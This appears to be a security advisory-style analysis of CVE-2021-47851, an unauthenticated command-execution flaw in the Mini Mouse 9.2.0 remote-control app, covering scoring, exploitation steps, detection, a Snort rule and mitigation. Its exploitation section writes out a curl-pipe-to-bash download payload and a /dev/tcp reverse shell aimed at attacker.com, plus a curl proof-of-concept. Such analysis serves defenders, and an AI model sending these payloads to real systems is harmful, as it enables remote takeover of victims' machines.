Comprehensive Technical Analysis of CVE-2021-47851

CVE ID: CVE-2021-47851 CVSS Score: 9.8 (Critical) Vulnerability Type: Remote Code Execution (RCE) Affected Software: Mini Mouse (Remote Control Application) v9.2.0

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2021-47851 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in Mini Mouse v9.2.0, a remote control application for macOS and Windows. The flaw resides in an improperly secured HTTP endpoint (/op=command) that processes crafted JSON requests containing malicious script commands. Attackers can exploit this to download and execute arbitrary payloads without authentication, leading to full system compromise.

Severity Justification (CVSS 9.8)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Value	Justification
Attack Vector (AV)	Network	Exploitable remotely over HTTP.
Attack Complexity (AC)	Low	No authentication or special conditions required.
Privileges Required (PR)	None	No privileges needed.
User Interaction (UI)	None	Exploitation does not require user interaction.
Scope (S)	Unchanged	Impact is confined to the vulnerable application.
Confidentiality (C)	High	Full system access possible.
Integrity (I)	High	Arbitrary code execution allows data manipulation.
Availability (A)	High	System can be rendered inoperable.

Resulting CVSS Score: 9.8 (Critical) This classification aligns with NIST’s definition of a critical vulnerability, given its low attack complexity, high impact, and unauthenticated exploitation.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability is triggered via an unauthenticated HTTP request to the /op=command endpoint, which processes malicious JSON payloads containing arbitrary shell commands. The following steps outline a typical attack:

1. Reconnaissance

   • Attacker identifies a vulnerable Mini Mouse instance (v9.2.0) via port scanning (default port: 8080) or service fingerprinting.
   • Confirms the presence of the /op=command endpoint.

2. Crafting the Exploit

   • The attacker constructs a malicious JSON payload containing:

     {
       "command": "curl http://attacker.com/malware.sh | bash"
     }
     

   • Alternatively, direct command execution (e.g., reverse shell):

     {
       "command": "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
     }
     

3. Delivery & Execution

   • The payload is sent via an HTTP POST request to:

     http://<target-ip>:8080/op=command
     

   • The vulnerable application executes the command with the privileges of the running process (often user-level or admin).

4. Post-Exploitation

   • Attacker gains remote shell access, data exfiltration, lateral movement, or persistence (e.g., via cron jobs, backdoors).

Proof-of-Concept (PoC) Exploit

A publicly available PoC (Exploit-DB #49743) demonstrates the following attack:

curl -X POST http://<target-ip>:8080/op=command -H "Content-Type: application/json" -d '{"command":"id"}'

Expected Output:

{"result":"uid=501(user) gid=20(staff) groups=20(staff),..."}

This confirms arbitrary command execution.

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3. Affected Systems & Software Versions

Vulnerable Software

• Mini Mouse Remote Control Application v9.2.0 (macOS & Windows)
• Platforms:
  • macOS (likely all versions supporting Mini Mouse 9.2.0)
  • Windows (if the application is installed)

Non-Vulnerable Versions

• Mini Mouse v9.2.1+ (if patched)
• Other remote control applications (e.g., TeamViewer, AnyDesk) are not affected.

Detection Methods

• Network Scanning:
  • Identify hosts with port 8080 open and Mini Mouse running.
  • Use Nmap to detect the service:

    nmap -p 8080 --script http-title <target-ip>
    

• Endpoint Detection:
  • Check for Mini Mouse v9.2.0 in installed applications.
  • Monitor for unexpected child processes (e.g., bash, curl, powershell).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Patch Management

   • Upgrade to the latest version of Mini Mouse (if available).
   • If no patch exists, uninstall the application or disable the service.

2. Network-Level Protections

   • Firewall Rules:
     • Block inbound traffic to port 8080 (default Mini Mouse port).
     • Restrict access to trusted IPs only.
   • Intrusion Prevention Systems (IPS):
     • Deploy Snort/Suricata rules to detect exploitation attempts:

       alert tcp any any -> $HOME_NET 8080 (msg:"Mini Mouse RCE Attempt"; flow:to_server,established; content:"/op=command"; http_uri; content:"command"; http_client_body; reference:cve,CVE-2021-47851; classtype:attempted-admin; sid:1000001; rev:1;)
       

3. Endpoint Protections

   • Application Whitelisting:
     • Restrict execution of unauthorized binaries (e.g., curl, bash, powershell).
   • Endpoint Detection & Response (EDR):
     • Monitor for unusual process execution (e.g., bash spawned by Mini Mouse).
   • Least Privilege Principle:
     • Run Mini Mouse with minimal permissions (non-admin user).

4. Temporary Workarounds

   • Disable the HTTP endpoint via configuration (if possible).
   • Isolate the application in a sandboxed environment (e.g., Docker, VM).

Long-Term Recommendations

• Vendor Communication:
  • Contact Mini Mouse developers to confirm patch availability.
  • If no response, consider alternative remote control solutions (e.g., TeamViewer, AnyDesk).
• Security Awareness Training:
  • Educate users on risks of third-party remote control apps.
• Regular Vulnerability Scanning:
  • Use Nessus, OpenVAS, or Qualys to detect vulnerable instances.

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5. Impact on the Cybersecurity Landscape

Exploitation Risks

• Mass Exploitation Potential:
  • Due to low attack complexity and public PoC availability, this vulnerability is highly attractive to threat actors.
  • Likely to be weaponized in botnets (e.g., Mirai, Mozi) for DDoS, cryptomining, or ransomware deployment.
• Targeted Attacks:
  • APT groups may exploit this for initial access in corporate environments.
  • Ransomware operators (e.g., LockBit, BlackCat) could use it to deploy payloads.

Broader Implications

• Supply Chain Risks:
  • If Mini Mouse is bundled with other software, third-party vendors may unknowingly distribute vulnerable versions.
• IoT & Remote Management Risks:
  • Similar vulnerabilities in remote control apps could be exploited in IoT ecosystems.
• Regulatory & Compliance Impact:
  • Organizations failing to patch may violate GDPR, HIPAA, or PCI-DSS due to unauthorized access risks.

Historical Context

• This vulnerability follows a trend of RCE flaws in remote administration tools (e.g., CVE-2019-11510 in Pulse Secure, CVE-2021-34473 in Microsoft Exchange).
• Highlights the need for secure coding practices in remote access software.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Improper Input Validation:
  • The /op=command endpoint blindly trusts user-supplied JSON input without sanitization.
  • No authentication or CSRF protection is enforced.
• Command Injection Flaw:
  • The application directly passes the command parameter to a shell interpreter (e.g., system(), exec()).
• Lack of Rate Limiting:
  • No brute-force protection, allowing repeated exploitation attempts.

Exploit Chaining Potential

• Privilege Escalation:
  • If Mini Mouse runs as root/admin, exploitation leads to full system compromise.
  • If running as a standard user, attackers may escalate privileges via local exploits (e.g., CVE-2021-4034 "PwnKit").
• Lateral Movement:
  • Once inside a network, attackers can pivot to other systems using stolen credentials or SMB/SSH exploits.

Forensic & Incident Response Considerations

• Indicators of Compromise (IoCs):
  • Network:
    • Unusual HTTP POST requests to /op=command.
    • Outbound connections to known malicious IPs (e.g., C2 servers).
  • Endpoint:
    • Unexpected child processes (e.g., bash, powershell, curl).
    • Suspicious files in /tmp/ or user directories.
• Log Analysis:
  • Check Mini Mouse logs (if available) for unauthorized command execution.
  • Review authentication logs for failed/successful remote access attempts.
• Memory Forensics:
  • Use Volatility to detect malicious processes spawned by Mini Mouse.

Reverse Engineering Insights

• Static Analysis:
  • Decompile the Mini Mouse binary (e.g., using Ghidra, IDA Pro) to identify:
    • The /op=command handler function.
    • Command execution functions (e.g., system(), popen()).
• Dynamic Analysis:
  • Use Burp Suite or OWASP ZAP to fuzz the endpoint and observe behavior.
  • Monitor process execution with Process Monitor (Windows) or dtrace (macOS).

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Conclusion & Recommendations

CVE-2021-47851 represents a critical RCE vulnerability in Mini Mouse v9.2.0, posing severe risks to affected systems. Given its low exploitation complexity, unauthenticated nature, and public PoC availability, organizations must act immediately to:

1. Patch or remove the vulnerable software.
2. Implement network and endpoint protections to detect/prevent exploitation.
3. Monitor for IoCs and conduct forensic analysis if compromise is suspected.

Security teams should prioritize this vulnerability in their patch management and threat hunting efforts, as it is highly likely to be exploited in the wild.

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References:

• VulnCheck Advisory
• Exploit-DB PoC
• NIST NVD Entry